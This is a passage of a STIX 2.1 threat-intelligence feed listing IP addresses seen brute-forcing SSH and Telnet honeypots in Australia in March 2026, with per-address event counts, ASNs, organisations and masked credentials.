      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t. Passwords observed (masked): z******x, z****m, z**********3, z****n, z*****m.",
      "id": "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): a***n, r**t, u**r, 3**********4, u****u. Passwords observed (masked): 1*******., 3***********4, 3**********4, A*********2, A*****&.",
      "id": "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.6.100.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*********3, A*******d, F********3.",
      "id": "indicator--91c77f1b-9b67-4c6d-b411-d12d0359580d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.227.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, 3**********4, a***n, t**t. Passwords observed (masked): 3***********4, 3**********4, A***********2, A*******8, A******O.",
      "id": "indicator--01bc310a-bc57-4182-96fc-8efdf4f1f9ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.90.155.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): a***n, r**t, u**r, 3**********4, u****u. Passwords observed (masked): 1*******., 3***********4, 3**********4, A*********2, A*******-.",
      "id": "indicator--1f16c46c-4643-4a28-8fd3-18a5f9db76a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.112.42.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): u****u. Passwords observed (masked): a*****!.",
      "id": "indicator--5e6cdc84-8c3b-491b-b147-3680c650de2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.119.85.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u. Passwords observed (masked): P******d.",
      "id": "indicator--f2f2ba45-60d1-487a-974d-7432cff1a8e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.187.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): u****u. Passwords observed (masked): A******Z.",
      "id": "indicator--3bdc4ef8-f6ab-4ad4-b88e-1b4fbf25ebab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc..",
      "id": "indicator--6e3740c6-8188-4584-a0f6-1d0ba5040b60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.124.8.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T10:15:16.000Z",
      "valid_until": "2026-04-06T10:15:12.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: IN. ASN(s): 134032. Organisation(s): INFONET COMM ENTERPRISES. Passwords observed (masked): s****e.",
      "id": "indicator--321dc651-6210-4233-97e1-e6f100842a29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.12.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 135310. Organisation(s): Inspire Broadband. Usernames observed (masked): r**t. Passwords observed (masked): A*******1.",
      "id": "indicator--1e337390-05c5-4907-8227-89716d6214cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.213.238.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u, 3**********4, t**t. Passwords observed (masked): 3***********4, 3**********4, 1*******@, 2**4, A*******************A.",
      "id": "indicator--a67e38de-a6f9-4ea0-8dfd-452d947bb1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.78.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--6decb879-347d-4a56-9d13-15aaa48ade49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.19.220.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f60c76ad-acb3-48b2-832b-24c06387ebe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.142.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: IT. ASN(s): 212508. Organisation(s): Lowhosting services of Davide Gennari. Usernames observed (masked): s*****a. Passwords observed (masked): I***********************5.",
      "id": "indicator--7addefed-a638-438b-b58a-7d9e24b14d96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.218.144.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c76596ad-4073-4114-882f-b5cdee8323d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, a***n, u****u, 3**********4, t**t. Passwords observed (masked): 3***********4, 3**********4, 1*******@, 2**4, A*******************A.",
      "id": "indicator--b64641c2-69a3-402b-885c-fe8d938ea0a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.134.78.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T11:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): A*****4.",
      "id": "indicator--c253690a-89e9-4ef0-8d8d-6cb737f0cc4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T11:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.1.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:15:17.000Z",
      "valid_until": "2026-04-06T11:15:11.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--52ce135d-96fb-4c7e-aec3-6a6c40e6f995",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.164.150.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, 3**********4, a***n, r**t, t**t. Passwords observed (masked): 3***********4, 3**********4, !*******d, 1*******!, A*******O.",
      "id": "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.63.196.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1851e1e4-a6b9-40d3-9e14-38e6b78039e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, 1*******!, A*******O, A**********9.",
      "id": "indicator--60274831-56ed-48c3-92f4-cdce6280540e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.255.61.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--73f6b647-6ed0-4fc0-8e1e-6153c1358bf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--487213bf-9d8c-469b-b9e4-53665be2b548",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.22.230.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ed5997f6-34c8-4e71-8aa9-7f71cd2274d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.191.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:15:14.000Z",
      "valid_until": "2026-04-06T12:15:13.000Z"
    },
    {
      "created": "2026-03-05T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): u**r, r**t, 3**********4, a***n, t**t. Passwords observed (masked): 1********@, 3***********4, 3**********4, P********, P********5.",
      "id": "indicator--07e63b9f-5e99-4d13-b63b-0e4e9366aedd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T13:15:13.000Z",
      "valid_until": "2026-04-06T13:15:11.000Z"
    },
    {
      "created": "2026-03-05T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******$, 2*******3, 3***********4, 3**********4, 7*******#.",
      "id": "indicator--fbb63bf8-f292-4e86-8693-af1867f81d4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.209.12.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T13:15:13.000Z",
      "valid_until": "2026-04-06T13:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): 1**********$.",
      "id": "indicator--739d183a-8314-40cd-b09d-4d321beb8fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): 3***********4.",
      "id": "indicator--5f6b05cb-0e96-4943-a2d2-74799239621c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t. Passwords observed (masked): c*******$.",
      "id": "indicator--45713bbb-915f-4872-ad77-96a643a03427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 296. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, s*****t, t**t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--3471596d-305a-47fe-ac60-1a0bf60faa90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.154.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--ee32a0fc-8af8-4c36-8cd1-3adbc7c1e00d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.209.117.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway S.a.s..",
      "id": "indicator--e9ab10c0-a3c5-4e64-bd9e-7cbaf071ea44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T14:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.154.200.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T14:15:24.000Z",
      "valid_until": "2026-04-06T14:15:11.000Z"
    },
    {
      "created": "2026-03-05T14:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
